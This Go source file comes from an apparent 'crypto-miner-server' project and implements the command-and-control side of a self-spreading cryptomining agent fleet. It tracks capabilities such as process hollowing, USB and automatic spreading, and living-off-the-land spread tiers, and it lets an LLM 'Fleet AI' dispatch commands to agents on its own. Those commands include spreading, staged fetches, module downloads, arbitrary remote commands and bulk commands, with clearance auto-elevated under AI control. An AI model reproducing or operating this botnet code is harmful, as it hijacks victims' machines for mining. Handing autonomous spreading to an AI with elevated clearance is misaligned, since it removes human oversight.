Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
436 lines
13 KiB
Go
436 lines
13 KiB
Go
package api
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"strings"
|
|
|
|
fleetai "crypto-miner-server/internal/ai"
|
|
"crypto-miner-server/internal/db"
|
|
"crypto-miner-server/internal/models"
|
|
"crypto-miner-server/internal/strategy"
|
|
)
|
|
|
|
// FleetAIConfigView is the Calibrate subset for Fleet AI Control.
|
|
type FleetAIConfigView struct {
|
|
AIControlEnabled bool `json:"ai_control_enabled"`
|
|
AIEndpoint string `json:"ai_endpoint"`
|
|
AIModel string `json:"ai_model"`
|
|
AINoContext bool `json:"ai_no_context"`
|
|
AIDecisionIntervalSec int `json:"ai_decision_interval_sec"`
|
|
AIAutoElevateClearance bool `json:"ai_auto_elevate_clearance"`
|
|
AIPersona string `json:"ai_persona"`
|
|
}
|
|
|
|
// FleetAIConfigSource reads/writes Fleet AI settings from server config.
|
|
type FleetAIConfigSource interface {
|
|
GetFleetAIConfig() FleetAIConfigView
|
|
UpdateFleetAIConfig(FleetAIConfigView) error
|
|
}
|
|
|
|
// FleetAISnapshot builds agent snapshots from DB + WS hub state.
|
|
func (h *WSHub) FleetAISnapshot(agentID string) (fleetai.AgentSnapshot, bool) {
|
|
if h == nil || h.db == nil || agentID == "" {
|
|
return fleetai.AgentSnapshot{}, false
|
|
}
|
|
agent, err := h.db.GetAgent(agentID)
|
|
if err != nil || agent == nil {
|
|
return fleetai.AgentSnapshot{}, false
|
|
}
|
|
|
|
snap := fleetai.AgentSnapshot{
|
|
AgentID: agentID,
|
|
Name: agent.Name,
|
|
Worker: agent.WorkerName,
|
|
Platform: agent.Platform,
|
|
Version: agent.Version,
|
|
BuildID: agent.BuildID,
|
|
GOOS: agent.Platform,
|
|
MiningHashrate: agent.MiningHashrate,
|
|
LOTLTier: agent.LOTLTier,
|
|
JoinLane: agent.JoinLane,
|
|
ChainExhausted: agent.ChainExhausted,
|
|
ChainOrder: append([]string(nil), agent.ChainOrder...),
|
|
ActiveMethod: agent.ActiveMethod,
|
|
VulnRisk: agent.VulnRiskScore,
|
|
}
|
|
for _, a := range agent.LOTLAttempts {
|
|
snap.LOTLAttempts = append(snap.LOTLAttempts, fleetai.TierAttempt{
|
|
Tier: a.Tier, OK: a.OK, Error: a.Error, DurationMs: a.DurationMs,
|
|
})
|
|
}
|
|
|
|
h.mu.RLock()
|
|
if caps, ok := h.agentCapabilities[agentID]; ok {
|
|
snap.Capabilities = capabilityFlags(caps)
|
|
}
|
|
if tel, ok := h.agentLiveTelemetry[agentID]; ok {
|
|
mergeTelemetryIntoSnapshot(&snap, tel)
|
|
}
|
|
engine := h.adaptiveEngine
|
|
aiMode := h.serverPolicy.AIControlEnabled
|
|
h.mu.RUnlock()
|
|
|
|
snap.SpreadState = describeSpreadState(agent, snap.Capabilities)
|
|
if engine != nil {
|
|
fp := engine.AgentFingerprint(agentID)
|
|
if fp.GOOS == "" {
|
|
fp = strategy.FingerprintFromAuth(agent.Platform, agent.IP, agent.FirewallDomain != nil && *agent.FirewallDomain)
|
|
}
|
|
snap.FingerprintKey = fp.Key()
|
|
}
|
|
snap.Stuck = fleetai.ComputeStuck(snap)
|
|
snap.FailedTierCount = countFailedSpreadTiers(snap.LOTLAttempts)
|
|
if aiMode {
|
|
temperament := fleetai.PersonaSpreadTemperament(h.serverPolicySnapshot().AIPersona)
|
|
snap.Adaptive = &temperament
|
|
if len(temperament.Reasoning) > 0 {
|
|
snap.AdaptiveSummary = temperament.Reasoning[0].Action
|
|
}
|
|
} else if engine != nil {
|
|
fp := strategy.FingerprintFromAuth(agent.Platform, agent.IP, agent.FirewallDomain != nil && *agent.FirewallDomain)
|
|
adaptive := engine.StrategyForAgent(agentID, fp)
|
|
snap.Adaptive = &adaptive
|
|
if len(adaptive.Reasoning) > 0 {
|
|
snap.AdaptiveSummary = adaptive.Reasoning[0].Action
|
|
}
|
|
}
|
|
return snap, true
|
|
}
|
|
|
|
func capabilityFlags(caps models.AgentCapabilities) map[string]bool {
|
|
return map[string]bool{
|
|
"hole_punch": caps.HolePunch,
|
|
"remote_aggressive": caps.RemoteAggressive,
|
|
"auto_spread": caps.AutoSpread,
|
|
"mesh_p2p": caps.MeshP2P,
|
|
"process_hollowing": caps.ProcessHollowing,
|
|
"ai_enabled": caps.AIEnabled,
|
|
"usb_spread": caps.USBSpread,
|
|
}
|
|
}
|
|
|
|
func describeSpreadState(agent *models.Agent, caps map[string]bool) string {
|
|
parts := []string{}
|
|
if agent.USBSpread || (caps != nil && caps["usb_spread"]) {
|
|
parts = append(parts, "usb")
|
|
}
|
|
if caps != nil && caps["auto_spread"] {
|
|
parts = append(parts, "auto_spread")
|
|
}
|
|
if agent.JoinLane != "" {
|
|
parts = append(parts, "lane:"+agent.JoinLane)
|
|
}
|
|
if agent.Campaign != "" {
|
|
parts = append(parts, "campaign:"+agent.Campaign)
|
|
}
|
|
if len(parts) == 0 {
|
|
return "idle"
|
|
}
|
|
return strings.Join(parts, ", ")
|
|
}
|
|
|
|
func mergeTelemetryIntoSnapshot(snap *fleetai.AgentSnapshot, tel map[string]interface{}) {
|
|
if v, ok := tel["mining_hashrate"].(float64); ok && v > 0 {
|
|
snap.MiningHashrate = v
|
|
}
|
|
if v, ok := tel["lotl_tier"].(string); ok && v != "" {
|
|
snap.LOTLTier = v
|
|
}
|
|
if v, ok := tel["join_lane"].(string); ok && v != "" {
|
|
snap.JoinLane = v
|
|
}
|
|
if v, ok := tel["chain_exhausted"].(bool); ok {
|
|
snap.ChainExhausted = v
|
|
}
|
|
if v, ok := tel["active_method"].(string); ok && v != "" {
|
|
snap.ActiveMethod = v
|
|
}
|
|
if raw, ok := tel["lotl_attempts"]; ok {
|
|
if b, err := json.Marshal(raw); err == nil {
|
|
var attempts []fleetai.TierAttempt
|
|
if json.Unmarshal(b, &attempts) == nil && len(attempts) > 0 {
|
|
snap.LOTLAttempts = attempts
|
|
}
|
|
}
|
|
}
|
|
if raw, ok := tel["chain_order"]; ok {
|
|
if b, err := json.Marshal(raw); err == nil {
|
|
var order []string
|
|
if json.Unmarshal(b, &order) == nil {
|
|
snap.ChainOrder = order
|
|
}
|
|
}
|
|
}
|
|
if v, ok := tel["vuln_risk_score"].(float64); ok {
|
|
n := int(v)
|
|
snap.VulnRisk = &n
|
|
}
|
|
if v, ok := tel["stuck"].(bool); ok {
|
|
snap.Stuck = v
|
|
}
|
|
}
|
|
|
|
func countFailedSpreadTiers(attempts []fleetai.TierAttempt) int {
|
|
attemptByTier := make(map[string]fleetai.TierAttempt, len(attempts))
|
|
for _, a := range attempts {
|
|
attemptByTier[a.Tier] = a
|
|
}
|
|
failed := 0
|
|
for _, tier := range fleetai.DefaultSpreadTiers() {
|
|
if a, ok := attemptByTier[tier]; ok && !a.OK {
|
|
failed++
|
|
}
|
|
}
|
|
return failed
|
|
}
|
|
|
|
// DatabaseCourtAdapter supplies failure atlas and phenotype data for court sessions.
|
|
type DatabaseCourtAdapter struct {
|
|
DB interface {
|
|
FailureAtlasSummary(fingerprintKey, goos string) (string, error)
|
|
GetFleetPhenotypeByFingerprint(fingerprint string) (*db.StoredPhenotype, error)
|
|
ListFleetPhenotypes(fingerprint string) ([]db.StoredPhenotype, error)
|
|
}
|
|
}
|
|
|
|
func (a *DatabaseCourtAdapter) FailureAtlasSummary(fingerprintKey, goos string) string {
|
|
if a == nil || a.DB == nil {
|
|
return ""
|
|
}
|
|
summary, err := a.DB.FailureAtlasSummary(fingerprintKey, goos)
|
|
if err != nil {
|
|
return ""
|
|
}
|
|
return summary
|
|
}
|
|
|
|
func (a *DatabaseCourtAdapter) BestPhenotype(fingerprintKey, goos string) (*strategy.FleetPhenotype, bool) {
|
|
if a == nil || a.DB == nil {
|
|
return nil, false
|
|
}
|
|
stored, err := a.DB.GetFleetPhenotypeByFingerprint(fingerprintKey)
|
|
if err == nil && stored != nil {
|
|
p := strategy.PhenotypeFromStored(*stored)
|
|
return &p, true
|
|
}
|
|
rows, err := a.DB.ListFleetPhenotypes("")
|
|
if err != nil || len(rows) == 0 || goos == "" {
|
|
return nil, false
|
|
}
|
|
prefix := goos + "|"
|
|
var best *db.StoredPhenotype
|
|
for i := range rows {
|
|
row := &rows[i]
|
|
if !strings.HasPrefix(row.Fingerprint, prefix) {
|
|
continue
|
|
}
|
|
if best == nil || row.PeakHashrate > best.PeakHashrate {
|
|
best = row
|
|
}
|
|
}
|
|
if best == nil {
|
|
return nil, false
|
|
}
|
|
p := strategy.PhenotypeFromStored(*best)
|
|
return &p, true
|
|
}
|
|
|
|
// FleetAIExecutor dispatches parsed LLM commands via existing WS command paths.
|
|
type FleetAIExecutor struct {
|
|
Hub *WSHub
|
|
}
|
|
|
|
func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string, error) {
|
|
if e == nil || e.Hub == nil {
|
|
return "", fmt.Errorf("hub unavailable")
|
|
}
|
|
args := cmd.Args
|
|
if args == nil {
|
|
args = map[string]interface{}{}
|
|
}
|
|
switch cmd.Type {
|
|
case fleetai.CmdNoop:
|
|
return "noop", nil
|
|
case fleetai.CmdRestartMining:
|
|
if err := e.Hub.SendAgentCommand(agentID, "restart", nil); err != nil {
|
|
return "", err
|
|
}
|
|
return "restart", nil
|
|
case fleetai.CmdDiscoverAndJoin:
|
|
if err := e.Hub.SendAgentCommand(agentID, "discover_and_join", args); err != nil {
|
|
return "", err
|
|
}
|
|
return "discover_and_join", nil
|
|
case fleetai.CmdSpreadNow:
|
|
if err := e.Hub.SendAgentCommand(agentID, "spread_now", args); err != nil {
|
|
return "", err
|
|
}
|
|
return "spread_now", nil
|
|
case fleetai.CmdStageFetch:
|
|
if err := e.Hub.SendAgentCommand(agentID, "stage_fetch", args); err != nil {
|
|
return "", err
|
|
}
|
|
return "stage_fetch", nil
|
|
case fleetai.CmdSetAgentVersion:
|
|
module, _ := args["module"].(string)
|
|
if module == "" {
|
|
module, _ = args["build_id"].(string)
|
|
}
|
|
if module == "" {
|
|
return "", fmt.Errorf("set_agent_version requires module or build_id")
|
|
}
|
|
if err := e.Hub.SendAgentCommand(agentID, "fetch_module", map[string]interface{}{"module": module}); err != nil {
|
|
return "", err
|
|
}
|
|
return "fetch_module:" + module, nil
|
|
case fleetai.CmdReorderTiers:
|
|
return e.pushReorderTiers(agentID, args)
|
|
case fleetai.CmdBulkCommand:
|
|
return e.runBulkCommand(args)
|
|
case fleetai.CmdAgentCommand:
|
|
action, _ := args["action"].(string)
|
|
if action == "" {
|
|
return "", fmt.Errorf("agent_command requires action")
|
|
}
|
|
sendArgs := map[string]interface{}{}
|
|
for _, k := range []string{"command", "path", "data", "tail_lines"} {
|
|
if v, ok := args[k]; ok {
|
|
sendArgs[k] = v
|
|
}
|
|
}
|
|
if err := e.Hub.SendAgentCommand(agentID, action, sendArgs); err != nil {
|
|
return "", err
|
|
}
|
|
return action, nil
|
|
default:
|
|
if err := e.Hub.SendAgentCommand(agentID, cmd.Type, args); err != nil {
|
|
return "", err
|
|
}
|
|
return cmd.Type, nil
|
|
}
|
|
}
|
|
|
|
func (e *FleetAIExecutor) pushReorderTiers(agentID string, args map[string]interface{}) (string, error) {
|
|
payload := map[string]interface{}{}
|
|
if raw, ok := args["tier_order"]; ok {
|
|
payload["tier_order"] = raw
|
|
}
|
|
if raw, ok := args["skip_tiers"]; ok {
|
|
payload["skip_tiers"] = raw
|
|
}
|
|
if len(payload) == 0 {
|
|
return "", fmt.Errorf("reorder_tiers requires tier_order")
|
|
}
|
|
body, _ := json.Marshal(payload)
|
|
if err := e.Hub.SendToAgent(agentID, Message{Type: "adaptive_strategy_update", Payload: body}); err != nil {
|
|
return "", err
|
|
}
|
|
return "reorder_tiers", nil
|
|
}
|
|
|
|
func (e *FleetAIExecutor) runBulkCommand(args map[string]interface{}) (string, error) {
|
|
action, _ := args["action"].(string)
|
|
if action == "" {
|
|
return "", fmt.Errorf("bulk_command requires action")
|
|
}
|
|
ids := e.Hub.ResolveAgentTargets(parseAgentIDs(args["agent_ids"]))
|
|
if len(ids) == 0 {
|
|
return "", fmt.Errorf("bulk_command: no agent_ids")
|
|
}
|
|
sendArgs := map[string]interface{}{}
|
|
if v, ok := args["command"]; ok {
|
|
sendArgs["command"] = v
|
|
}
|
|
sent := 0
|
|
for _, id := range ids {
|
|
if err := e.Hub.SendAgentCommand(id, action, sendArgs); err == nil {
|
|
sent++
|
|
}
|
|
}
|
|
return fmt.Sprintf("bulk:%d/%d", sent, len(ids)), nil
|
|
}
|
|
|
|
func parseAgentIDs(raw interface{}) []string {
|
|
switch v := raw.(type) {
|
|
case []interface{}:
|
|
out := make([]string, 0, len(v))
|
|
for _, item := range v {
|
|
if s, ok := item.(string); ok && strings.TrimSpace(s) != "" {
|
|
out = append(out, strings.TrimSpace(s))
|
|
}
|
|
}
|
|
return out
|
|
case []string:
|
|
return v
|
|
case string:
|
|
if strings.TrimSpace(v) == "" {
|
|
return nil
|
|
}
|
|
return strings.Split(v, ",")
|
|
default:
|
|
return nil
|
|
}
|
|
}
|
|
|
|
// WSHubSnapshotAdapter implements fleetai.SnapshotProvider.
|
|
type WSHubSnapshotAdapter struct{ Hub *WSHub }
|
|
|
|
func (a *WSHubSnapshotAdapter) ConnectedAgentIDs() []string {
|
|
if a == nil || a.Hub == nil {
|
|
return nil
|
|
}
|
|
return a.Hub.ConnectedAgentIDs()
|
|
}
|
|
|
|
func (a *WSHubSnapshotAdapter) AgentSnapshot(agentID string) (fleetai.AgentSnapshot, bool) {
|
|
if a == nil || a.Hub == nil {
|
|
return fleetai.AgentSnapshot{}, false
|
|
}
|
|
return a.Hub.FleetAISnapshot(agentID)
|
|
}
|
|
|
|
// ConfigAIAdapter wraps FleetAIConfigSource for the scheduler.
|
|
type ConfigAIAdapter struct{ Src FleetAIConfigSource }
|
|
|
|
func (a *ConfigAIAdapter) AIConfig() fleetai.Config {
|
|
if a == nil || a.Src == nil {
|
|
return fleetai.Config{}
|
|
}
|
|
v := a.Src.GetFleetAIConfig()
|
|
interval := v.AIDecisionIntervalSec
|
|
if interval <= 0 {
|
|
interval = 60
|
|
}
|
|
endpoint := strings.TrimSpace(v.AIEndpoint)
|
|
if endpoint == "" {
|
|
endpoint = "http://127.0.0.1:11434/v1"
|
|
}
|
|
return fleetai.Config{
|
|
Enabled: v.AIControlEnabled,
|
|
Endpoint: endpoint,
|
|
Model: strings.TrimSpace(v.AIModel),
|
|
NoContext: v.AINoContext,
|
|
IntervalSec: interval,
|
|
AutoElevateClearance: v.AIAutoElevateClearance || v.AIControlEnabled,
|
|
Persona: fleetai.NormalizePersona(v.AIPersona),
|
|
}
|
|
}
|
|
|
|
// DatabaseAIDecisionStore wraps db for InsertAIDecision.
|
|
type DatabaseAIDecisionStore struct {
|
|
DB interface {
|
|
InsertAIDecision(agentID, promptHash, response, commandsExecuted string, courtSession bool, prosecutorSnippet, defenderSnippet, judgeVerdict string) error
|
|
}
|
|
}
|
|
|
|
func (s *DatabaseAIDecisionStore) InsertAIDecision(agentID, promptHash, response, commandsExecuted string, court *fleetai.CourtDecisionMeta) error {
|
|
if s == nil || s.DB == nil {
|
|
return nil
|
|
}
|
|
if court == nil {
|
|
return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted, false, "", "", "")
|
|
}
|
|
return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted, court.CourtSession, court.ProsecutorSnippet, court.DefenderSnippet, court.JudgeVerdict)
|
|
}
|